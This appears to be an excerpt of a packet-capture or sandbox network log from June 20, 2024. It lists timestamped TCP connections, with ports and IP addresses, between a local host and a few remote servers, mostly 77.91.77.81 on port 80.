Jun 20, 2024 15:38:15.384768963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.384800911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.385993004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386025906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386049986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386069059 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386077881 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386110067 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386145115 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386162996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386168957 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386194944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386228085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386239052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386260033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386271000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386291981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386327028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.386337996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.386645079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.387192965 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.387226105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.387259007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.387274027 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.387291908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.387303114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.387335062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.387343884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.387392998 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.429894924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.429936886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.429968119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.429970980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430005074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430005074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430030107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430038929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430051088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430073023 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430109024 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430115938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430136919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430171013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430174112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430200100 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430203915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430237055 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430238962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430272102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430284023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430305004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430336952 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430356026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430368900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430382013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430402994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430417061 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430434942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430444002 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430468082 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430500031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430512905 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430532932 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430565119 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430581093 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430598974 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430608034 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430639029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430641890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430701971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430768013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430829048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430854082 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430883884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430911064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430917025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.430933952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430968046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.430975914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431010008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431016922 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431042910 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431051970 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431076050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431087971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431118965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431529045 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431577921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431586981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431628942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431659937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431668043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431690931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431740046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431766987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431811094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431813002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431843042 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431868076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431880951 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431898117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431905985 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431927919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431942940 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431957006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431963921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.431987047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.431999922 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432015896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432046890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432061911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432147980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432204962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432212114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432257891 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432260036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432306051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432337999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432349920 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432367086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432379007 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432396889 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432408094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432425976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432470083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432471991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432539940 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432570934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432585001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432600975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432632923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432637930 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432662964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432672977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432682991 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432703972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432712078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432744980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432751894 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432776928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432797909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432805061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432815075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432849884 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432857990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432888985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432904005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432919979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432931900 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432949066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.432959080 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.432997942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433027983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433042049 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433058977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433090925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433104992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433123112 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433132887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433152914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433183908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433197021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433214903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433248997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433259010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433279991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433293104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433310986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433315992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433341980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433357000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433372021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433383942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433403969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433418036 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433435917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433442116 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433485031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433490992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433515072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433537006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433545113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433568001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433576107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433579922 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433605909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433624029 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433639050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.433645010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.433685064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.469072104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469115973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469151020 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469172001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.469206095 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.469245911 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469285965 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469301939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.469320059 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469329119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.469360113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.469372988 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.469415903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471541882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471574068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471596003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471617937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471626997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471671104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471678972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471714973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471725941 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471748114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471759081 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471782923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471816063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.471824884 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.471893072 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.472923040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.472966909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473011971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473046064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473052025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473083973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473098040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473131895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473138094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473170996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473182917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473217010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473221064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473256111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473268032 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473299980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473304987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473336935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473341942 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473371029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473373890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473403931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473407030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473436117 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473440886 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473469973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473475933 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473504066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.473519087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.473545074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516048908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516109943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516145945 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516148090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516148090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516180038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516225100 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516232967 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516266108 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516298056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516309977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516338110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516350985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516388893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516433954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516438961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516472101 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516529083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516561031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516592979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516627073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516638041 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516638994 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516638994 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516659975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516664028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516695023 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516707897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516726971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516729116 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516766071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516777039 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516808987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516819954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516843081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516848087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516875982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.516885042 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.516916990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.518932104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.519808054 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:16.456499100 CEST	49709	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:16.456733942 CEST	49714	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:16.462224007 CEST	80	49714	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:16.462294102 CEST	49714	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:16.462403059 CEST	49714	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:16.464777946 CEST	80	49709	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:16.464840889 CEST	49709	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:16.467349052 CEST	80	49714	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:16.706398964 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.748541117 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964426041 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964514971 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964545012 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964585066 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964591026 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.964628935 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964647055 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964659929 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.964659929 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.964678049 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.964689970 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.964720011 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.964787960 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:16.964793921 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.965063095 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:16.965118885 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:17.131875038 CEST	80	49714	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:17.132065058 CEST	49714	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:17.148077011 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.148333073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.153609991 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.153645992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.153671026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.153772116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.156511068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.161592960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.511039019 CEST	49703	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:17.511132002 CEST	49703	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:17.511378050 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:17.511434078 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:17.511835098 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:17.512670040 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:17.512687922 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:17.516064882 CEST	443	49703	23.1.237.91	192.168.2.5
